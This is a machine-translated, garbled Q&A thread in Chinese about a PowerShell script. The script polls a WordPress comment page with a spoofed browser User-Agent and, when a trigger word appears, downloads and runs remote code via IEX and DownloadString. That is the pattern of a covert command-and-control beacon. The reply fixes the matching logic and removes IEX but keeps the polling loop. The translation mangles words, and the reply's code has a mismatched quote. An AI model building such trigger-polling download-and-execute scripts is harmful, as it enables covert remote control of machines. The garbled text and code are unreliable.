我是一个完全PowerShell新手,所以请放纵;)
我试图编写一个脚本,一台机器检查一个外部网站等待单词:“testing”执行下载。 事情是这样的:
$Word = 'test' $WebClientObject = New-Object Net.WebClient $comment = "http://MySite.wordpress.com/comment_section/" $WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)") While($True){ $CommentResult = $WebClientObject.DownloadString($comment) $Found = $CommentResult.contains($Word) If($Found) { IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do') Task_to_do and some blabla commands Return } Start-Sleep -Seconds 60 }
我正在运行PowerShell 2.0。 Windows 7的
发生了什么:
接下来我做了什么:
– > While($ True)在不退出的情况下启动一个无限循环。
为了使窍门我需要“双击键盘上的返回”,循环的结束和“下载string”命令终于执行。
还记得我不只是一个新手,对吧? 🙁
请有人指示我做这个简单的事情的方式…? 🙂
非常感谢。
你的脚本至less有三个问题:
contains不按照您认为的方式工作。 它告诉参考值的集合是否包含单个testing值。 用外行人的话来说,它只对数组的元素进行操作并寻找完全匹配。 但是,您在$CommentResult获得的是一个包含所有页面的HTML代码的长string。 因此, contains treats是一个数组与一个元素,因为这个元素不是一个完全匹配的string“testing”,它返回False 。 if块中,您不必使用Invoke-Expression cmdlet( IEX是它的别名)来调用$WebClientObject DownloadString方法。 test本身可以作为标签的一部分出现在HTML中,例如:
<img src =' http: //server.com/pro test ant.jpg'/>
我已经修复了你的脚本使用正则expression式并且匹配任何东西,恰好包含了在网页的HTML代码中的stringtest (这包括专业testing , testing , testing , testing等等)。 之后尝试并修改您的需求:
$Word = 'test' $comment = 'http://MySite.wordpress.com/comment_section/' $WebClientObject = New-Object -TypeName Net.WebClient $WebClientObject.Headers.Add('User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)') While($true) { if($WebClientObject.DownloadString($comment) -match $Word) { $Html = $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do') #Task_to_do and some blabla commands break } Start-Sleep -Seconds 60 }